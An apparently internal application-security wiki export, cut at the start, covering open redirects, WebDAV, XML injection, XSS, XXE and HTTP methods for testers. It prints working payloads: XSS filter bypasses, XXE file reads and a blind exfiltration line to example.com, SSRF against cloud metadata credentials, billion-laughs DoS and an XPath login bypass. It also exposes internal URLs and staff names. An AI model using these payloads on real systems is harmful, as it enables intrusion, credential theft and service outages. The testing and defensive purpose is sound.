        e.printStackTrace();

      }

    }

  }

}

**Preventing Unvalidated Redirects and Forwards**

Safe use of redirects and forwards can be done in a number  of ways:

1. Simply avoid using redirects and forwards.
2. If used, do not allow the URL as user input for the destination.
3. Where possible, have the user provide short name, ID or token which is mapped server-side to a full target URL.
4. This provides the highest degree of protection against the attack tampering with the URL.
5. Be careful that this doesn't introduce an enumeration vulnerability where a user could cycle through IDs to find all possible redirect targets
6. If user input can’t be avoided, ensure that the supplied **value**is valid, appropriate for the application, and is **authorized** for the user.
7. Sanitize input by creating a list of trusted URLs (lists of hosts or a regex).
8. This should be based on a white-list approach, rather than a blacklist.
9. Force all redirects to first go through a page notifying users that they are going off of your site, with the destination clearly displayed, and have them click a link to

### **Validating URLs**

When attempting to validate and sanitise user-input to determine whether the URL is safe, wherever possible you should use a built-in library or function to parse the URLs, such as parse\_url() in PHP, rather than rolling your own parser using regex. Additionally, make sure that you take the following into account:

* Input starting with a / to redirect to local pages is **not safe**. //[example.org](http://example.org/) is a valid URL.
* Input starting with the desired domain name is **not safe**. [https://example.org.attacker.com](https://example.org.attacker.com/) is valid.
* Only allow HTTP(S) protocols. All other protocols, including JavaScript URIs such as javascript:alert(1) should be blocked
* Data URIs such as data:text/html,<script>alert(document.domain)</script> should be blocked
* URIs containing CRLF characters can lead to header injection or response splitting attacks and should be blocked.

### **Safe URL Redirects**

When we want to redirect a user automatically to another page (without an action of the visitor such as clicking on a hyperlink) you might implement a code such as the following:

Java:

response.sendRedirect("[http://www.mysite.com](http://www.mysite.com/)");

PHP:

<?php/\* Redirect browser \*/header("Location: [http://www.mysite.com](http://www.mysite.com/)");/\* Exit to prevent the rest of the code from executing \*/exit;?>

ASP .NET:

Response.Redirect("~/folder/Login.aspx")

Rails:

redirect\_to login\_path

In the examples above, the URL is being explicitly declared in the code and cannot be manipulated by an attacker.

**Reference Links:**

* [CWE Entry 601 on Open Redirects](https://cwe.mitre.org/data/definitions/601.html).
* [WASC Article on URL Redirector Abuse](http://projects.webappsec.org/w/page/13246981/URL%20Redirector%20Abuse)
* [Google blog article on the dangers of open redirects](https://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html)
* [Preventing Open Redirection Attacks (C#)](https://www.asp.net/mvc/tutorials/security/preventing-open-redirection-attacks).

[Like](https://confluence.es.ad.adp.com/display/APPSEC/URL+re-direction)Be the first to like this

* No labels
* [Edit Labels](https://confluence.es.ad.adp.com/display/APPSEC/URL+re-direction)

## 1 Comment

#### [**Amancharla, Sai Praneth**](https://confluence.es.ad.adp.com/display/~amanchas)

We can use below payload when there's some regex to validate the domain names, since the below payload doesn't contain the protocol (https://) the URL parser cannot identify it's domain name, hence sometimes helping in bypassing the filter.

Payload Used: **////%5cgoogle.com**

Finding for reference (Archer): 108495

List of other Payloads: [PayloadsAllTheThings/Open Redirect at master · swisskyrepo/PayloadsAllTheThings · GitHub](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/WebDav+Methods#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Feb 08, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1421182804&selectedPageVersions=2&selectedPageVersions=3)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/WebDav+Methods#page-metadata-start)

WebDAV

**What are WebDAV Methods?**

WebDAV stands for Web Distributed Authoring and Versioning, which is an extension to HTTP that lets clients edit remote content on the web. In essence, WebDAV enables a web server to act as a file server, allowing authors to collaborate on web content.

WebDAV enriches the standard set of HTTP headers and methods to let you create, move and edit files, as well as delete or copy files and folders

List of supported methods, syntaxes, headers, status codes for usage can found from information available at:

[**HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)**](https://webconcepts.info/specs/IETF/RFC/4918)

[Versioning Extensions to WebDAV (Web Distributed Authoring and Versioning)](https://webconcepts.info/specs/IETF/RFC/3253)

[Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol](https://webconcepts.info/specs/IETF/RFC/3744)

[Web Distributed Authoring and Versioning (WebDAV) SEARCH](https://webconcepts.info/specs/IETF/RFC/5323)

[Web Distributed Authoring and Versioning (WebDAV) Ordered Collections Protocol](https://webconcepts.info/specs/IETF/RFC/3648)

**Supported by:**

Apache HTTP Server, Microsoft IIS, [Box.com](http://box.com/), WordPress, Drupal, Microsoft Sharepoint, Subversion, Git, Windows Explorer, macOS Finder, Microsoft Office, Apple iWork, Adobe Photoshop, and many other places.

**How to check?**

1.Capture the URL against which the check has to be performed and use any client(say Burp) to send requests to server.

Use the OPTIONS method from either Burp repeater

(or)

bruteforce WeBDAV methods from Burp intruder to test for WebDAV support. Analyze the responses to check if method is supported

**Sample**

(or)

use nmap to achieve the same

nmap --script http-webdav-scan -p80,8080 <target>

2.If a method is found to be supported, use it’s correct syntax and try to abuse it for security issues as per the context.

**Other tools to aid in testing and exploitation:**

curl,cadaver,metasploit,davtest

**Note:**Authentication might be implemented at times. Permissions might be implemented at directory level so recursive testing might be needed

**Security:**

Misconfigurations may allow attackers to misuse WebDAV capabilities and eventually gain a shell on the server.

**References:**

<https://blog.skullsecurity.org/2009/webdav-detection-vulnerability-checking-and-exploitation>

<https://null-byte.wonderhowto.com/how-to/exploit-webdav-server-get-shell-0204718/>

[Skip to end of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1467417836#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1467417836&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1467417836#page-metadata-start)

**Note: This document requires review by team**

**Description:**  
XML Injection is an attack technique used to manipulate or compromise the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter the intend logic of the application.

**XML:**

XML stands for Extensible Markup Language and is a text-based markup language derived from Standard Generalized Markup Language (SGML). XML tags identify the data and are used to store and organize the data, rather than specifying how to display it like HTML tags.

**Example:**

<? Xml version = "1.0"?>

<Contact-info>

   <Name> My name </name>

   <company category=”Finance”> Company1 </company>

   <Phone> (011) 123-4567</phone>

</contact-info>

In the above example

* <? Xml version = “1.0”?> is declaration.
* <contact-info> is an element.
* <Name>, <company>, <phone> are next elements.
* “Category” is an attribute to the element company.

**XML Validation:**

XML Is said to be valid if it satisfies the following conditions

1. Document contents match with the elements, attributes and associated document type declaration (DTD).
2. Non DTD XML files must use the predefined character entities for amp (&), Apso (single quote), gt(>), lt(<), quote(double quote).
3. It must follow the ordering of the tag. i.e., the inner tag must be closed before closing the outer tag.
4. Each of its opening tags must have a closing tag or it must be a self-ending tag. (<title>....</title> or <title/>).

**XML – DTD**

The XML Document Type Declaration, commonly known as DTD, is a way to describe XML language precisely. DTDs check vocabulary and validity of the structure of XML documents against grammatical rules of appropriate XML language.

An XML DTD can be either specified inside the document, or it can be kept in a separate document and then liked separately.

**Internal DTD:**

A DTD is referred to as an internal DTD if elements are declared within the XML files. To refer it as internal DTD, “standalone” attribute in XML declaration must be set to “yes”. This means, the declaration works independent of an external source.

<? Xml version = "1.0" encoding = "UTF-8" standalone = "yes”?>

<! DOCTYPE address [

   <! ELEMENT address (name, company, phone)>

   <! ELEMENT name (#PCDATA)>

   <! ELEMENT company (#PCDATA)>

   <! ELEMENT phone (#PCDATA)>

]>

<Address>

   <Name>My Name</name>

   <Company> My company</company>

   <Phone> (011) 123-4567</phone>

</address>

**External DTD:**

In external DTD elements are declared outside the XML file. They are accessed by specifying the system attributes which may be either the legal .dtd file or a valid URL. To refer it as external DTD, standalone attribute in the XML declaration must be set as no. This means, declaration includes information from the external source.

The following is the XML document. This document is using the addess.dtd to load the detentions.

<? Xml version = "1.0" encoding = "UTF-8" standalone = "no”?>

<! DOCTYPE address SYSTEM "address.dtd">

<Address>

   <Name>Tanmay Patil</name>

   <Company>Tutorials Point</company>

   <Phone> (011) 123-4567</phone>

</address>

The content of the address.dtd is as follows:

<! ELEMENT address (name, company,phone)>

<! ELEMENT name (#PCDATA)>

<! ELEMENT company (#PCDATA)>

<! ELEMENT phone (#PCDATA)>

**XML Schema**

XML Schema is commonly known as XML Schema Definition (XSD). It is used to describe and validate the structure and the content of XML data. XML schema defines the elements, attributes and data types. The basic idea behind XML Schemas is that they describe the legitimate format that an XML document can take.

**Notes.xml**

<? Xml version="1.0" encoding="UTF-8"?>

<note xmlns="[http://www.w3schools.com](http://www.w3schools.com/)" xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xsi: schemalocation="Notes.xsd">

    <to>Tove</to>

    <from>Jani</from>

    <heading>Reminder</heading>

    <body>Don't forget me this weekend!</body>

</note>

**Notes.xsd**

<?xml version="1.0"?>

<xs:schema xmlns:xs="<http://www.w3.org/2001/XMLSchema>">

    <xs:element name="note">

        <xs:complextype>

            <xs:sequence>

                <xs:element name="to" type="xs:string"/>

<xs:element name="from" type="xs:string"/>

<xs:element name="heading" type="xs:string"/>

<xs:element name="body" type="xs:string"/>

            </xs:sequence>

        </xs:complextype>

    </xs:element>

</xs:schema>

In .xsd file schema will be declared which can be used in .xml file as xsi:schemalocation.

**XML Security Vulnerabilities**

Specifications for XML and XML schemas include multiple security flaws. At the same time, these specifications provide the tools required to protect XML applications. Even though we use XML schemas to define the security of XML documents, they can be used to perform a variety of attacks: file retrieval, server-side request forgery, DOS attacks. Etc.

These can be broadly classified into two types based on the structure of the XML.

1. Malformed document - XML document is well structured but malformed  
   Due to Malformed document, the parser may take longer time than usual and may cause DOS attack.
2. Invalid XML – XML document do not have expected structure

There are many security vulnerabilities because of the way the parser behaves when encountering an invalid XML document.

**XML Attacks**

If the parser uses a DTD, an attacker might inject data that may adversely affect the XML parser during document processing. These adverse effects could include the parser crashing or accessing local files. There many attacks related to XML. Some of the most common vulnerabilities are given below.

**XXE Attacks**

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

The XML standard defines a concept called an entity, which is a storage unit of some type. There are a few different types of entities, external general/parameter parsed entity often shortened to external entity that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.

**Example 1:**

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE updateProfile [

<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>

<updateProfile>

<firstname>Joe</firstname>

<lastname>&file;</lastname>

</updateProfile>

The above example will return the content of “c:/windows/win.ini” file. It is also possible to manipulate this in such a way that it wills send the data to a specific URL. Which is called “Blind XXE Attack”.

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE updateProfile [

<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">

<!ENTITY send SYSTEM '[http://example.com/?%file](http://example.com/?%25file);'> ]>

<updateProfile>

<firstname>Joe</firstname>

<lastname>&send;</lastname>

</updateProfile>

**Example 2:**

<?xml version="1.0" encoding="ISO-8859-1"?>

 <!DOCTYPE foo [ <!ELEMENT foo ANY >

   <!ENTITY xxe SYSTEM "expect://id" >]>

    <creds>

       <user>&xxe;</user>

       <pass>mypass</pass>

    </creds>

The above example will execute the ‘id’ command using PHP ‘expect’ module. For this to work, PHP ‘expect’ module should be enabled.

##### **Preventing XXE attacks**

* Disable XML external entity and DTD processing in all XML parsers in the application
* Implement positive ("whitelisting") server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
* Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.
* Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system.

#### **DOS Attacks**

There are many ways to perform DOS attack using XML document. It’s all depend on how the parser parses the document when parsing invalid/malformed XML document.

1. **Billion Laughs:**

When an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes. This is an example XML document with an embedded DTD schema including the attack:

<!DOCTYPE root [

 <!ELEMENT root ANY>

 <!ENTITY LOL "LOL">

 <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">

 <!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">

 <!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">

 <!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">

 <!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">

 <!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">

 <!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">

 <!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">

 <!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">

]>

<root>&LOL9;</root>

The entity LOL9 will be resolved as the 10 entities defined in LOL8; then each of these entities will be resolved in LOL7 and so on. Finally, the CPU and/or memory will be affected by parsing the 3\*10^9 (3,000,000,000) entities defined in this schema, which could make the parser crash.

1. **Quadratic Blowup**

Instead of defining multiple small, deeply nested entities, the attacker in this scenario defines one very large entity and refers to it as many times as possible, resulting in a quadratic expansion. The result of the following attack will be 100,000\*100,000 characters in memory.

<!DOCTYPE root [

 <!ELEMENT root ANY>

 <!ENTITY A "AAAAA...(a 100.000 A's)...AAAAA">

]>

<root>&A;&A;&A;&A;...(a 100.000 &A;'s)...&A;&A;&A;&A;&A;</root>

#### **SSRF attacks**

Server Side Request Forgery (SSRF) happens when the server receives a malicious XML schema, which makes the server retrieve remote resources such as a file, a file via HTTP/HTTPS/FTP, etc. SSRF has been used to retrieve remote files, to prove a XXE when you cannot reflect back the file or perform port scanning, or perform brute force attacks on internal networks.

Example:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE updateProfile [

<!ENTITY ssrf SYSTEM '<http://10.0.0.2/users.php?delete=all>'> ]>

<updateProfile>

<firstname>Joe</firstname>

<lastname>&ssrf;</lastname>

</updateProfile>

The URL 10.0.0.2 is internal URL which can’t be accessed from outside. The above XML will make a call to the URL “'<http://10.0.0.2/users.php?delete=all>” from the server which will perform the delete operation on all the user. Port scanning on the internal network can also be performed in the same way.

#### **XPath Injection**

XPath uses path expressions to select nodes or node-sets in an XML document. XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to. He may even be able to elevate his privileges on the web site if the XML data is being used for authentication.

**employees.xml**

<?xml version="1.0" encoding="utf-8"?>

<employees>

    <employee id="1">

        <name>Mike</name>

        <username>Mike07</username>

        <password>TopSecret</password>

        <type>Admin</type>

    </employee>

</employees>

The above file holds the records of employees. When an application uses the xml file like above as data source and using XPATH to query the XML file, if not implemented correctly, it is possible to perform attacks like authentication bypass.etc.

Assume the below code is used at server side for query the XML file. The code is taking the user given input into the query building without any sanitization, which makes this code vulnerable to authentication bypass.

C# Code:

String FindUserXPath;

FindUserXPath ="//Employee [Username/text () ='" + Request ("Username")+ "' And Password/text()='" + Request("Password") + "']";

**Payload:**

Username: Mike

Password: lol’ or ‘a’=’a

**Resultant query:**

//Employee [UserName/text () =’Mike’ And Password/text()=’lol’ or ‘a’=’a’]

When the malicious payloads used, the resultant query looks like above. In the above query, password will always be true as ‘a’=’a’ is always true which makes it to login as ‘Mike’ without having the right password.

## ****How to avoid XML vulnerabilities****

The below given are the best practices to avoid XML vulnerabilities.

* Don't allow DTDs
* Don't expand entities
* Don't resolve externals
* Limit parse depth
* Limit total input size
* Limit parse time
* Favor a SAX or iterparse-like parser for potential large data
* Validate and properly quote arguments to XSL transformations and XPath queries
* Don't use XPath expression from untrusted sources
* Don't apply XSL transformations that come untrusted sources

**Reference Links:**

<http://projects.webappsec.org/w/page/13247004/XML%20Injection>

[https://www.owasp.org/index.php/Testing\_for\_XML\_Injection\_(OTG-INPVAL-008)https://www.owasp.org/index.php/Test\_Upload\_of\_Malicious\_Files\_(OTG-BUSLOGIC-009)](https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)https:/www.owasp.org/index.php/Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009))

<http://www.ws-attacks.org/XML_Injection>

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/XSS#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Sep 16, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1747063796&selectedPageVersions=2&selectedPageVersions=3)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/XSS#page-metadata-start)

**Cross Site Scripting (XSS):**

**Introduction:**Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into  
otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to  
send malicious code, generally in the form of a browser side script, to a different end user. Flaws that  
allow these attacks to succeed are quite widespread and occur anywhere a web application uses input  
from a user within the output it generates without validating or encoding it.

XSS is classified into three steps 1. Reflected XSS, 2. Stored XSS and 3. Dom Based XSS.

**Consequences:**

Disclosure of the user’s session cookie, disclosure of end user files, redirect the user to some other page  
or site and Retrieving Victims browsers details.

**Where to test:**

URL parameters, Form parameters, HTTP Headers, hidden parameters and DOM parameters

**Checklist for XSS:**

Different type of checks which can be performed for XSS:

**1. Basic payload for testing xss:**

<script>alert(1)</script>

**2. If <script> tag is filtered Try below,**

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<body onload=alert(1)>

"><ScRiPt>alert(12)</ScRiPt>

<audio src=1 onerror=alert(1)>

**3. If spaces are filtered:**

<svg/onload=alert(1)>

**4. If alert, prompt and confirm are filtered:**

<svg onload=location=location.hash.substr(1)>#javascript:alert(1)

**5. Stored XSS in Meta Tag:**

[click this](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

**6. XSS can be tested on any URL parameter with below payload:**

URL: http://www.<script>alert(1)</script .com

**7. In Comments field:**

[click Here](javascript:alert(1))

**8. XSS When ‘<,>,<script>, alert’ are filtered:**

[click thislink](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

**9. XSS in File Retrieval:**

<form action="/form.php?" onload="alert('XSS');" method="post">

**10. If application filters ‘<,> and “’ characters try below Payload**

In place of ‘"><script>alert(document.cookie)</script>’ give below payload  
%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

**11. XSS in Body Tag**

<body onload=alert("XSS")>

<body background="javascript:alert("XSS")">

**12. XSS at parameter value**

"%3balert(1)%2f%2f182

");alert('xss');

**13. To bypass Request Validator in .Net Framework**

<~/XSS/\*-\*/STYLE=xss:e/\*\*/xpression(alert('XSS'))>

**14. To By Pass few types of Firewall, we can use below Payload**

<details/open/ontoggle="alert`1`"

**15. If application is using Adobe Flash files, Try below**

http://www.example1.com/control.swf?onend=javascript:alert(1)//

**16. XSS payloads for XSS**

{{constructor.constructor('alert(1)')()}}

{{{}.")));alert(1)//"}}

{{$on.constructor('alert(1)')()}}

{{{}.")));alert(1)//"}}

References: <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

**Finding Description:**

Application is vulnerable to Reflected cross site scripting. Using this, an attacker can steal application session cookies and perform malicious activities. Below are the steps to confirm the existence of this vulnerability.

**Default Finding rating reasons:**Impact: High  
This allows an attacker to steal session, redirecting to malicious websites.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/XXE#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 02, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1746049297)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/XXE#page-metadata-start)

**What is XML**  
XML stands for **extensible markup language**. A markup language is a set of codes, or tags, that describes the text in a digital document.  XML tags identify the data and are used to store and organize the data, rather than specifying how to display it like HTML tags, which are used to display the data.

**XML Entities**

XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Think of it as a variable in programming.

**Document Type Definition**

It contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD can be fully self-contained within the XML document (known as internal DTD) or it can be loaded from elsewhere (known as external DTD). The DTD is declared within the DOCTYPE element at the beginning of the XML document.

**XML External Entities**

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared

**Example:**

<?xml version = "1.0"?>

<contact-info>

   <name> My name </name>

   <company category=”Finance”> Company1 </company>

   <phone>(011) 123-4567</phone>

</contact-info>

**What is XXE Attack**

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when **XML input containing a reference to an external entity is processed by a weakly configured XML parser**. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

**Workflow:**

**What is the cause of XXE?**

When applications use XML to transport data between browser and server, the applications almost always use a a standard API for processing the XML on the server. Vulnerabilities arise because parsers will, by default, process potentially dangerous features.

**What are different exploits of XXE attack?**

**Exploiting XXE to Retrieve Files**

To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways:

1. Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file.
2. Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.

Ex:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "[file:///etc/passwd](file:///\\etc\passwd)"> ]>  
<stockCheck><productId>&xxe;</productId></stockCheck>

The application  performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload

**Exploiting XXE to Perform Server-Side Request Forgery (SSRF)**

Aside from retrieval of sensitive data, the other main impact of XXE attacks is that they can be used to perform server-side request forgery (SSRF). This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access.

 It follows the same format from above however instead of using the file protocol, you would use the http protocol to make a request to some server-side IP.

Ex:

<?xml version=”1.0" encoding=”UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “<http://169.254.169.254/latest/meta-data/iam/security-credentials/admin>"> ]>

<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

**XXE via File Upload**

Some applications allow users to upload files which are processed server-side. Some common file formats use XML or contain XML subcomponents, including office document formats like DOCX and image formats like SVG. If an application expects JPEG or PNG file formats it still may accept SVG files and process them accordingly. Since SVG files use XML this is another attack vector for an XXE injection.

Ex:

<?xml version="1.0" standalone="yes"?>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "[file:///etc/hostname](file:///\\etc\hostname)" > ]>

<svg width="500px" height="500px" xmlns="<http://www.w3.org/2000/svg>" xmlns:xlink="<http://www.w3.org/1999/xlink>" version="1.1">

   <text font-size="40" x="0" y="16">&xxe;</text>

</svg>

**Billion Laughs Attack**

When an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes. This is an example XML document with an embedded DTD schema including the attack:

<!DOCTYPE root [

 <!ELEMENT root ANY>

 <!ENTITY LOL "LOL">

 <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">

 <!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">

 <!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">

 <!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">

 <!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">

 <!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">

 <!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">

 <!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">

 <!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">

]>

<root>&LOL9;</root>

The entity LOL9 will be resolved as the 10 entities defined in LOL8; then each of these entities will be resolved in LOL7 and so on. Finally, the CPU and/or memory will be affected by parsing the 3\*10^9 (3,000,000,000) entities defined in this schema, which could make the parser crash.

**How to Prevent XXE attacks**

* Don't allow DTDs
* Don't expand entities
* Limit parse depth
* Limit total input size
* Limit parse time
* Use a well-known XML library with a good security record.
* Disable XInclude support

**Reports/Findings as a reference:**

* <https://hackerone.com/reports/500515>
* <https://hackerone.com/reports/227880>
* <https://gsogrcs.ga.adp.com/default.aspx?requestUrl=..%2fGenericContent%2fRecord.aspx%3fid%3d12586129%26moduleId%3d167>
* <https://gsogrcs.ga.adp.com/default.aspx?requestUrl=..%2fGenericContent%2fRecord.aspx%3fid%3d18751678%26moduleId%3d167>
* <https://gsogrcs.ga.adp.com/default.aspx?requestUrl=..%2fGenericContent%2fRecord.aspx%3fid%3d18350868%26moduleId%3d167>

**References**:

* <https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>
* <https://portswigger.net/web-security/xxe>
* <https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/>
* <https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9>
* <https://www.appsecmonkey.com/blog/xxe>
* <https://www.youtube.com/watch?v=gjm6VHZa_8s>
* <https://medium.com/@klose7/https-medium-com-klose7-xxe-attacks-part-1-xml-basics-6fa803da9f26>
* <https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54>
* [Session Config](https://confluence.es.ad.adp.com/display/APPSEC/Session+Config?src=contextnavpagetreemode)
  + [**HTTP Methods**](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Methods?src=contextnavpagetreemode)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Methods#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 16, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1759712935)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/HTTP+Methods#page-metadata-start)

**HTTP Methods**

HTTP defines a set of request methods to indicate the desired action to be performed for a given resource. The set of common methods for HTTP/1.1 is defined below

* **GET:** The GET method is designed to retrieve resources. It can be used to send parameters to the requested resource in the URL query string. URL’s are displayed on-screen and are logged in various places, such as the browser history and the web server’s access logs.
* **POST:** The POST method is designed to perform actions. With this method, request parameters can be sent both in the URL query string and in the body of the message. Although the URL can still be bookmarked, any parameters sent in the message body will be excluded from the bookmark. These parameters will also be excluded from the various locations in which logs of URLs are maintained and from the Referer header. Because the POST method is designed for performing actions, if a user clicks the browser’s Back button to return to a page that was accessed using this method, the browser does not automatically reissue the request. Instead, it warns the user of what it is about to do. This prevents users from unwittingly performing an action more than once. For this reason, POST requests should always be used when an action is being performed.
* **HEAD** functions in the same way as a GET request, except that the server should not return a message body in its response. The server should return the same headers that it would have returned to the corresponding GET request. Hence, this method can be used to check whether a resource is present before making a GET request for it.
* **TRACE** is designed for diagnostic purposes. The server should return in the response body the exact contents of the request message it received. This can be used to detect the effect of any proxy servers between the client and server that may manipulate the request.
* **OPTIONS** asks the server to report the HTTP methods that are available for a particular resource. The server typically returns a response containing an Allow header that lists the available methods.
* **PUT** attempts to upload the specified resource to the server, using the content contained in the body of the request. If this method is enabled, you may be able to leverage it to attack the application, such as by uploading an arbitrary script and executing it on the server.

**Testing Restrictions on HTTP Methods:**

* Using a high-privileged account, identify some privileged requests that perform sensitive actions, such as adding a new user or changing a user’s security role. 2.
* If these requests are not protected by any anti-CSRF tokens or similar features (see Chapter 13), use the high-privileged account to determine whether the application still carries out the requested action if the HTTP method is modified. Test the following HTTP methods:
  1. POST
  2. GET
  3. HEAD
  4. An arbitrary invalid HTTP method 3.
* If the application honors any requests using different HTTP methods than the original method, test the access controls over those requests using the standard methodology already described, using accounts with lower privileges
* if the below http methods are accessible by low-privileged users, they may provide an effective avenue for attacking an application. Here are some methods to look for:
  1. PUT uploads the attached file to the specified location.
  2. DELETE deletes the specified resource.
  3. COPY copies the specified resource to the location given in the Destination header.
  4. MOVE moves the specified resource to the location given in the Destination header.
